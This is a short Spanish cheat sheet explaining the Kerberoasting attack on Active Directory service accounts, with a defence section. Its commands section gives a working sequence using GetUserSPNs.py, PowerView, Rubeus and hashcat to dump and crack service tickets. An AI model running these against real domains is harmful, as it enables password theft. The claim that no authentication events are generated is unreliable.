Qué es
Kerberoasting extrae el material cifrado de un ticket Kerberos de una cuenta de servicio. Un atacante lo descifra fuera de línea y recupera la contraseña en texto plano si es débil.
Cómo funciona
El KDC cifra el ticket TGS con el hash de la contraseña de la cuenta de servicio. No valida si el usuario tiene permiso para usar ese servicio antes de entregar el ticket. Cualquier usuario autenticado del dominio puede pedir un ticket para cualquier cuenta con un SPN registrado. El atacante se lleva ese ticket sin presentarlo nunca al servicio real y lo somete a fuerza bruta o diccionario fuera de línea. El proceso no genera eventos de autenticación nuevos.
Comandos
Enumerar cuentas con SPN registrado:
GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <IP> -request -outputfile <FILE>Desde una sesión ya autenticada:
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalnamePedir y volcar los tickets en un paso:
Rubeus.exe kerberoast /outfile:<FILE>Descifrar el hash capturado:
hashcat -m 13100 <FILE> <WORDLIST>Cómo defenderse
- Pasa las cuentas de servicio a gMSA: la contraseña rota sola y no se puede forzar fuera de línea.
- En las cuentas con SPN que no puedan ser gMSA, exige contraseñas de 25+ caracteres.
- Exige cifrado AES y desactiva RC4: el ticket AES es mucho más lento de descifrar.